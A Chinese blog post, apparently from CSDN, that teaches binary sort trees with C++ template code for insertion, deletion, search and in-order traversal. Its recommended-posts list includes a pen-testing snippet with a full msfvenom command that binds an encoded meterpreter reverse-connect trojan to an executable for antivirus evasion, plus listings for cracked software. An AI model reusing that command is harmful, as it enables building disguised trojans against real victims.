二叉排序树的实现和操作

实现二叉树的各种基本运算的算法 阅读详情

先提几个问题,如下:

1.还记得二分查找吗?(对分查找)它是适合于操作什么类型的数据?

2.二叉树,二叉完全树,二叉排序树,堆排序,分别是什么?它们是用来干什么?

3.为什么二叉树要用中序遍历,而不是前或者后序遍历?

好了,这里我给出了,二叉排序树的插入,删除,输出,与查找的用例,具体看代码:

#include<iostream>
using namespace std;
template <class T>
struct BSnode{
	T d;
	BSnode* lchild;
	BSnode* rchild;
};
template <class T>
class BS_Tree{
	private:
		BSnode<T>*BT;
	public:
		BS_Tree(){BT=NULL;return;}
		void insert_BS_Tree(T);
		int delete_BS_Tree(T);
		BSnode<T>* serch_BS_Tree(T);
		void intrav_BS_Tree();
};

template <class T>
void BS_Tree<T>::intrav_BS_Tree(){
	BSnode<T>*p;
	p=BT;
	intrav(p);
	return;
}
template <class T>
static intrav(BSnode<T> *p){
	if(p!=NULL){
		intrav(p->lchild);
		cout<<p->d<<endl;
		intrav(p->rchild);
	}
	return 0;
}

template <class T>
void BS_Tree<T>::insert_BS_Tree(T x){
	BSnode<T> *p,*q;
	p=new BSnode<T>;
	p->d=x;
	p->lchild=NULL;p->rchild=NULL;
	q=BT;
	if(q==NULL) BT=p;
	else
	{
		while((q->lchild!=p)&&(q->rchild!=p)){
			if(x<q->d){if(q->lchild!=NULL) q=q->lchild;
			else q->lchild=p;
			}
			else
			{
			if(q->rchild!=NULL) q=q->rchild;
			else q->rchild=p;
			}
		}
	}
	return;
}

template <class T>
int BS_Tree<T>::delete_BS_Tree(T x){
	BSnode<T> *p,*q,*t,*s;
	int flag;
	p=BT;q=NULL;flag=0;
	while((p!=NULL)&&(flag==0)){
	if(p->d==x) flag=1;
	else if(x<p->d){q=p;p=p->lchild;}
	else
	{q=p;p=p->rchild;}
	}
	if(p==NULL){cout<<"not found"<<endl; return flag;}
	flag=1;
	if((p->lchild==NULL)&&(p->rchild==NULL)){
	if(p==BT) BT=NULL;
	else if(p==q->lchild) q->lchild=NULL;
	else q->rchild=NULL;
	delete p;
	}
	else if((p->lchild==NULL)||(p->rchild==NULL)){
	if(p==BT){
		if(p->lchild==NULL) BT=p->rchild;
		else BT=p->lchild;
		}
	else{
		if((p==q->lchild)&&(p->lchild!=NULL))
			q->lchild=p->lchild;
		else if((p==q->lchild)&&(p->rchild!=NULL))
			q->lchild=p->rchild;
		else if((p==q->rchild)&&(p->lchild!=NULL))
			q->rchild=p->lchild;
		else
			q->rchild=p->rchild;
		}
	delete p;
	}
	else{
	t=p;
	s=t->lchild;
	while(s->rchild!=NULL){
	t=s;s=s->rchild;
	}
	p->d=s->d;
	if(t==p)
		p->lchild=s->lchild;
	else 
		t->rchild=s->lchild;
	delete s;
	}
	return flag;
}

template <class T>
BSnode<T>*BS_Tree<T>::serch_BS_Tree(T x){
	BSnode<T> *p=NULL;
	int flag;
	p=BT;flag=0;
	while((p!=NULL)&&(flag==0)){
	if(p->d==x) flag=1;
	else if(x<p->d) p=p->lchild;
	else p=p->rchild;
	}
	if(p==NULL){cout<<"not found";return p;}
	return p;
}
具体调用这些操作的实例,看下面:

#include"BS_Tree.h"
int main(){
	int k;
	int d[12]={04,18,13,79,33,45,06,23,35,12,34,76};
	BS_Tree<int> b;
	for(k=0;k<12;k++)
		b.insert_BS_Tree(d[k]);
	cout<<"the sort element:"<<endl;
	b.intrav_BS_Tree();
	for(k=0;k<6;k++)
		b.delete_BS_Tree(d[k]);
	cout<<"after the delete:"<<endl;
	b.intrav_BS_Tree();
	cout<<"the serch result:"<<endl;
	for(k=0;k<12;k++)
		cout<<b.serch_BS_Tree(d[k])<<endl;
	return 0;
}
具体,最后的实验结果,我就不多说了,不过,关于,代码中的一些操作说几点:

关于中序遍历:

这个在前面的二叉树遍历中就讲过了,而这里,二叉排序树的排序,就是,这个中序,所以很简单不多说。

关于插入:

一个二叉树的建立,就是把节点一个一个插入就完成了。

千万记住:插入的每个点,其实,,,都是在叶子结点处,不信,你自己看看。明白了这个,插入就ok了

关于删除:

这个就比较麻烦了,因为情况有3种,这个和你是二叉树是有关系的,那么:

1.自己是叶子结点

好了,删除呗,没啥好商量的,它的父亲处理一下,令为NULL就好了

2.自己有一个单子树

那么它的孩子们就跟它的父亲,父亲在爷爷的左边,孙子就去左边,父亲在爷爷的右边,孙子就去爷爷的右边,不管你是你父亲的左边还是右边

3.自己有2个孩子

那这就比较麻烦了,我给出的这个例子的思路是,判断这个结点的左结点的右子树空吗?空,那就把你孩子的值,给你,然后再把你挤掉,否则,那就找左结点的右子树的右子树,直到这个点是叶子节点,此时,让这个结点代替你,这个结点的孩子代替它。

也许说的有点乱,直接点就是说,让这个点的要么前驱,要么后继,代替它,然后保持二叉树的完整。

至于实现,那么就有很多的具体办法了。仁者见仁 。


数据结构课设——二叉排序树的基本操作 问题描述 编写算法实现对依次输入的关键字序列建立二叉排序树,并能实现二叉排序树的查找、插入和删除运算。 需求分析 建立二叉树 查找关键字 插入关键字 删除关键字 查看树 算法思想 创建二叉排序树的第一步就是将二叉排序树初始化为空树,然后读入关键字,执行插入操作,直到输入的关键字是结束标志为止;插入操作为当二叉排序树为空时,将待插入节点作为根结点插入到空树中,若树非空,则将输入的ke... 阅读详情

相关推荐

二叉排序树与平衡二叉树的实现

一、实验目的1、问题描述     分别采用二叉链表和顺序表作存储结构,实现对二叉排序树与平衡 二叉树的操作。2、设计功能要求(1)用二叉链表作存储结构实现二叉排序树。      1)以回车符(‘\n’)为输入结束标志,输入数列L,生成一棵二叉排序 树T;      2)对二叉排序树T作中序遍历,输出结果;      3)计算二叉排序树T查找成功的平均查找长度,输出结果;      4)输入元素x,...

qq_39717454的博客 8847

实现二叉排序树的基本运算算法

二叉排序树或者是一棵空树;或者是具有下列性质的二叉树: 1、若左子树不空,则左子树上所有结点的值均小于它的根结点的值 2、若右子树不空,则右子树上所有结点的值均大于它的根结点的值 3、左、右子树也分别为二叉排序树 /** *    实验题目: *        实现二叉排序树的基本运算算法 *    实验目的: *        领会二叉排序树的定义、创建、查找和删除过程及其算法设计 *    ...

xiezhi123456的博客 6204

建立二叉排序树,并实现插入、查找等操作

#include &lt;iostream&gt;using namespace std;struct BSTNode{    int data;    BSTNode *lchild;    BSTNode *rchild;};void insertBST(BSTNode *&amp;T,int e){ if(T) { if(e &lt; T-&gt;data) insertBST(T-&...

wrc_nb的博客 2974

SCAU 数据结构实验5 8608 实现二叉排序树的各种算法(2)

SCAU 数据结构实验5 8608 实现二叉排序树的各种算法(2) /*Description 用函数实现如下二叉排序树算法: (1) 插入新结点 (2) 前序、中序、后序遍历二叉树 (3) 中序遍历的非递归算法 (4) 层次遍历二叉树 (5) 在二叉树中查找给定关键字(函数返回值为成功1,失败0) (6) 交换各结点的左右子树 (7) 求二叉树的深度 (8) 叶子结点数 输入格式 第一行:准备建树的结点个数n 第二行:输入n个整数,用空格分隔 第三行:输入待查找的关键字 第四行

corruptxie的博客 2287

数据结构(二叉树查找)——二叉排序树的构造和查找、插入、删除

设计一个读入一串整数,然后构造二叉排序树,进行查找、插入、删除。 #include <stdio.h> #include <stdlib.h> #define TRUE 1 #define FALSE 0 #define ENDKEY 0 typedef int KeyType; typedef struct node { KeyType key ; /*关键字的值*/ struct node *lchild,*rchild;/*左右指针*/ }BSTNode, *BS

haha_7的博客 3537

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7646

二叉排序树的基本操作(完整代码)

以下是二叉排序树的基本操作,函数基本与《大话数据结构》里的代码类似,包括查找、插入、删除操作。完整代码,可直接运行,懒人必备。//二叉排序树 //其中有插入、删除、查找操作 #include<stdio.h> #include<stdlib.h>#define FALSE 0 #define TURE 1 #define MAXSIZE 10typedef struct BiTNode {

fengyanglian的博客 1万+

基于verilog实现AXI4协议接口读写功能

AXI4是ARM公司推出的第四代AMBA总线协议,专为高带宽、低延迟的片上通信设计,广泛应用于FPGA、处理器及DSP等复杂系统,AXI4包含三中形态,分别为AXI4:标准版本,支持高带宽内存映射通信。AXI4-Lite:简化版,用于寄存器等简单设备的轻量级访问。AXI4-Stream:无地址协议,适用于高速数据流传输(如视频、音频)。本文章主要介绍AXI4协议的代码实现1. 写地址通道定义2. 写数据通道定义3. 写响应通道定义4. 读地址通道定义5. 读数据通道定义。

junpingc的博客 628

二叉排序树的定义及其基本算法

一、二叉排序树 1、二叉排序树的定义与存储结构  (1)二叉树的定义:       二叉排序树或者是空树或者是满足以下条件:       1)若它的左子树不空,则左子树上的所有关键字小于根关键字的值      &nbsp...

记录本身,即已是反抗 2760

Vercel部署个人博客

先去注册一个账号,建议注册一个Github账号后,使用Github账号来登录Vercel。vercel 部署静态资源网站极其方便简单,并且有可观的访问速度,最主要的是免费部署。此时项目已经成功搭建完毕了,点击图片即可跳转到 vercel 所提供的二级域名访问。然后可以直接拉取我的仓库,所有已经配置好了,可以直接使用,建议fork成自己的!然后修改dns就行,注意vercel提供的域名可能访问不了,需要自己绑定!如果有自己的域名,还可以在 vercel 中进行设置。进入Vercel官网。

醉里博客202271.xyz 2356

伺服电机入门01

编码器输出 旋转信号 , 接收端: 使用ADC 捕捉旋转信号 ,转成数字信号,驱动器得到数字处理, 因为信号量是模拟信号, mcu mpu 等芯片通常内部处理是数字,通过adc 得到数字cpu 才能识别 传输过来的pos 等信息。IPM 芯片示例, IRAM256A 这个芯片已经停产,有换新的,,下面示例来自stmbl 高功率方案,4 步进电机 有全步控制,半步控制 ,微步控制,FOC控制,步进电机也是可以做伺服系统的。以下面几种信号是可以细分,也就是通过细分增加编码器的分辨率,

qq_25160559的博客 968

《大话数据结构》C++实现二叉排序树的查找、插入和删除操作

#include<iostream> using namespace std; typedef int status; //定义一个树的结构体 typedef struct BiTNode { int data; struct BiTNode* lchild, * rchild; }BiTNode, * BiTree; //函数声明 void CreateBST(BiTr...

人强小的博客 2315

从零到一:基于Docker与Gewechat协议,打造高可用微信AI助手

本文提供了一份从零开始的实战指南,详细讲解如何利用Docker容器化技术与Gewechat协议,构建一个高可用、低风险的微信AI助手。通过整合Dify AI平台,您可以为微信机器人注入大语言模型的智能,实现自动问答、知识库查询等高级功能,显著提升个人或团队在微信场景下的沟通与信息处理效率。

weixin_29280657的博客 160

二叉排序树的插入和删除操作(python实现)

二叉排序树的插入和删除操作都是在保持二叉排序树特性的前提下进行的。插入操作: 在二叉排序树中插入一个新节点时,先比较新节点的值和当前节点的值的大小关系,若小于当前节点,则继续在当前节点的左子树中查找;若大于当前节点,则继续在当前节点的右子树中查找。重复该过程,直到找到一个空节点,将新节点插入到该位置上。 删除操作: 删除操作比较复杂,需要分类讨论。

m0_58381606的博客 930

嵌入式开发板OpenClaw部署:ESP32-S3与RISC-V平台性能评估

ESP32-S3与RISC-V平台在OpenClaw部署中的性能评估 本文对比分析了ESP32-S3和RISC-V两种嵌入式平台在OpenClaw部署中的性能表现。ESP32-S3凭借240MHz双核Xtensa LX7处理器和专用AI加速器,特别适合轻量级AI推理任务;而RISC-V凭借开源架构和模块化设计,可实现更高的能效比。文章详细介绍了ESP32-S3-DevKitC-1、SiFive HiFive1等典型开发板的硬件规格,推荐了ESP-IDF和FreeRTOS等操作系统,并提供了完整的开发环

博客 1127

MATLAB与图像处理(一):图像中结构张量的求法(Structure Tensor)

1.结构张量的作用:       能够区分图像中的平坦区域,边缘,角点; 2.图像中的结构张量的定义    1)是一个矩阵;    2)与图像的水平,垂直梯度有关,定义如下: 在MATLAB中,可以用如下语句求解:[Ix,Iy]=gradient(Image); 3)求出结构张量矩阵的行列式,和迹(矩阵对角线之和)   行列式:K=det(E);   迹:  

wenyusuran的专栏 5239

二叉排序树的常见操作和算法的设计与实现

【代码】二叉排序树的常见操作和算法的设计与实现。

CTJ_c的博客 235

11、牛转录组分析的实用生物信息学流程

本文详细介绍了一套实用的牛转录组分析生物信息学流程,涵盖从数据提取、基因组索引生成、读取比对到单样本表达分析及差异表达分析的完整步骤。使用Angus和Brahman牛的RNA-seq数据作为示例,介绍了HTSEQ、featureCounts和StringTie等工具在基因表达计数中的应用,并结合edgeR和limma进行差异表达分析。文中提供了详细的命令行与R代码示例,包含常见问题解答与关键注意事项,帮助研究人员高效、准确地完成转录组数据分析。

ios99的博客 111

JAVA实现二叉排序树(创建、中序遍历、插入节点和删除节点操作)

JAVA实现二叉排序树 二叉排序树的定义 二叉排序树或者是一棵空树,或者是具有下列性质的二叉树: (1)若左子树不空,则左子树上所有结点的值均小于或等于它的根结点的值; (2)若右子树不空,则右子树上所有结点的值均大于或等于它的根结点的值; (3)左、右子树也分别为二叉排序树; 从上述定义可以看出,二叉排序树的定义本身就是依赖于递归思想的。 二叉排序树举例 二叉排序树的JAVA...

梅森上校的博客 业精于勤荒于嬉,形成于思毁于随。 8185

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

二叉排序树的创建和基本操作---C++实现

本文介绍了二叉排序树的基本概念和实现方法。二叉排序树是一种特殊的二叉树,其左子树所有结点值小于根结点,右子树所有结点值大于根结点。文章详细展示了二叉排序树的C++代码实现,包括初始化、插入、构建、查找、删除等操作。其中查找操作时间复杂度最好为O(log2n),最坏为O(n)。删除操作考虑了三种情况:叶子结点、单支结点和双支结点。通过代码示例演示了二叉排序树的基本操作和特性。

2301_76768601的博客 353

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

递归和非递归实现二叉排序树(BST)的查找操作

二叉排序树又称二叉查找树 非递归实现BST的查找操作空间复杂度为O(1),但是递归实现的空间复杂度为O(h),h为树的高度 #include <iostream> using namespace std; typedef struct BSTNode{ int key; struct BSTNode *lchild,*rchild; }BSTNode,*BSTree; //非递归,空间复杂度为O(1) BSTNode *BST_Search(BSTree T,int k.

KK_2018的技术博客_程序员不止是程序员 852

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

折半查找和二叉排序树的时间性能_c#实现二叉排序树的插入,查找,删除操作(链式存储)...

1:首先,我们以下图二叉排序树为例2:构建节点类(孩子双亲表示法)/**************************************************** 3:构建二叉排序树类/**************************************************** 4:在main方法中构建二叉树排序树并调用相应方法(注意:可以通过打断点的方式查看删除操作是否正确...

weixin_39825854的博客 200

二叉排序树(二叉链表实现)

二叉排序树(二叉查找树)的定义: 二叉排序树或者是一棵空树,或者是一棵具有以下性质的二叉树: (1)若它的左子树不为空,则左子树上所有结点的值均小于根结点的值; (2)若它的又子树 不为空,则右子树上所有结点的值均大于根结点的值; (3)它的左、右子树都是二叉排序树。 二叉排序树的定义是递归的。由此可得到二叉排序树的一个重要性质:中序遍历一棵二叉排序树可得到有序递增序列。 二叉排序树结点数据结构的定义(包括关键字项和其他数据项): //每个结点数据域的数据类型 typedef struct

千言万语ROOM 5227

二叉排序树的增,删,和查找操作(C语言)

二叉排序查找树 来自《大话数据结构》中的解释: 二叉排序树(Binary Sort Tree),又称二叉查找树,它或者是一个树,或者具有以下性质的二叉树: 若它的左子树不空,则左子树上所有节点的值均小于它根节点的值; 若它的右子树不空,则右子树上所有节点的值均大于它根节点的值; 它的左、右二叉树也分别为二叉排序树。 常用的二叉排序树抽象数据结构类型有:查找,插入,删除,遍历等操作。首先来构造一棵树: typedef struct BiNode { int data; //节点的数据域. struct

努力奔跑的TH的博客 1568

用c++ 实现的二叉排序树(含源代码)

/*以下是用c++ 实现的二叉排序树的源代码*/#includetypedef struct TreeNode { int key; struct TreeNode *left; struct TreeNode *right; }treeNode;class BiSortTree{public:    BiSortTree(void); void desplayTree(void);//显

lzq_student的专栏 3089
上一篇: 基本排序之归并排序
下一篇: 简单的拓扑排序
Scofield-
博客等级 码龄14年 12粉丝 107原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值